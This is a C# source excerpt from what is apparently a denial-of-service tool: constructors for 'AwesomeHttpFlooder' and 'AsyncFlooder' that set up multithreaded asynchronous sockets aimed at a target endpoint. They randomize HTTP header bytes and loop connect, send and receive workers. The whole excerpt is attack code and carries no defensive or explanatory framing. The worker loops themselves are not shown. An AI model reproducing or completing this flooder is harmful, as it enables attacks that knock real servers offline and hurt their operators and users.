public AwesomeHttpFlooder( IPEndPoint target, HttpAttackParams attackParams, int threadCount = 1 )
        {
            var info = new AttackInfo {
                Target = target,
                Protocol = ProtocolType.Tcp,
                Randomizer = this.GenerateHeaderBytes,
                MaxWrite = 1,
                SendBufferSize = 512,
                ReadBufferSize = 512
            };
            if ( attackParams.WaitForResponse )
                info.MaxRead = ulong.MaxValue;

            _flooder = new AsyncFlooder( info, threadCount );
            this._headers = CreateHeaderExpression( attackParams );
            this._exprBuffers = new int[ threadCount ][];
            var c = this._headers.ComputeLengthDataSize();
            for (var i = 0; i < threadCount; i++)
                this._exprBuffers[ i ] = new int[c];
        }
 public AsyncFlooder( AttackInfo info, int threadCount = 1 )
 {
     this.Info = info;
     this.ThreadCount = threadCount;
     this._sendBuffers = new byte[ this.ThreadCount ][];
     this._recvBuffers = new byte[ this.ThreadCount ][];
     this._connectArgs = new SocketAsyncEventArgs[ this.ThreadCount ];
     this._fConn = ( a, b ) => this.LoopExec( (Socket) a, b, this.ConnectedWorker, this.SentWorker, this.ReceivedWorker );
     this._fSend = ( a, b ) => this.LoopExec( (Socket) a, b, this.SentWorker, this.ReceivedWorker );
     this._fRecv = ( a, b ) => {
         if ( b.BytesTransferred == 0 ){ this._fConn( a, b ); return; }
         this.LoopExec( (Socket) a, b, this.ReceivedWorker );
     };
     this._recvArgs = new SocketAsyncEventArgs[ this.ThreadCount ];
     this._recvLast = new ulong[ this.ThreadCount ];
     this._sendArgs = new SocketAsyncEventArgs[ this.ThreadCount ];
     this._sendLast = new ulong[ this.ThreadCount ];
     this._workingSocket = new Socket[ this.ThreadCount ];
     this._workingThreads = new Thread[ this.ThreadCount ];
     for ( var i = 0; i < this.ThreadCount; i++ )
         this._sendBuffers[ i ] = new byte[ info.SendBufferSize ];
     for ( var i = 0; i < this.ThreadCount; i++ )
         this._recvBuffers[ i ] = new byte[ info.ReadBufferSize ];
 }
 private void UpdateArgs( int i, AttackInfo info )
 {
     this._connectArgs[ i ].RemoteEndPoint = info.Target;
     this._sendArgs[ i ].RemoteEndPoint = info.Target;
     this._recvArgs[ i ].RemoteEndPoint = info.Target;
 }